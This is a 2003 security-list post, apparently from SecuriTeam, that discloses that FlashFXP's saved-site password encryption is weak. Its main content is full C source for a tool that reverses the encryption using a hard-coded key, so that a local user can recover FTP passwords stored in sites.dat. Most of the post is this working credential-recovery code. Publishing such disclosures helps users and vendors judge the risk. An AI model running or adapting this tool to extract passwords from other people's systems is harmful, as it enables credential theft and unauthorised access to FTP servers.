[TOOL] FlashFXP sites.dat Decryption

From: SecuriTeam (support_at_securiteam.com)
Date: 05/05/03

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Date: 5 May 2003 17:57:58 +0200

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      FlashFXP sites.dat Decryption
    ------------------------------------------------------------------------

    DETAILS

    The following tool is able to defeat FlashFXP's sites.data encryption
    algorithm, allowing local users to retrieve the passwords stored in the
    file.

    /* Flashfxp sites.dat decryption
     * By: Dvdman@l33tsecurity.com
     * L33tsecurity 2003
    */
    #include <math.h>
    #include <stdio.h>
    #include <stdlib.h>

    #define VERSION 1

    char magic[] ={ 0x79,0x41,0x33, 0x36, 0x7A, 0x41, 0x34 ,0x38, 0x64, 0x45
    ,0x68, 0x66, 0x72, 0x76, 0x67 ,0x68,
    0x47, 0x52, 0x67, 0x35, 0x37, 0x68, 0x35, 0x55, 0x6C ,0x44 ,0x76, 0x33
    ,0x00 ,0x00 ,0x00, 0x00, };

    char b[]={ 0x36,0xd8,0x7f,0xc2,0x07,0x16,0xc3};
                         /* kernel */

    //char b[]={ 0x74, 0x92, 0x43 ,0x9C, 0x25, 0xEE ,0x27, 0xA1, 0x2D, 0xC2,
    0x77, 0x84,};

    int main(int argc, char **argv)
    {
            unsigned char temp;
            unsigned char out[128];
            int i;
            temp = b[0];
            for (i = 1; i < sizeof(b); i++)
            {
                    out[i - 1] = (b[i] ^ magic[i - 1]) - temp - (i + 1) % 2;
                    temp = b[i % 29];
            };

            out[i - 1] = 0;
            printf("DECRYPTED PASSWORD IS: %s\n",(char *)&out);
            return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:Dvdman@l33tsecurity.com>
    Dvdman.

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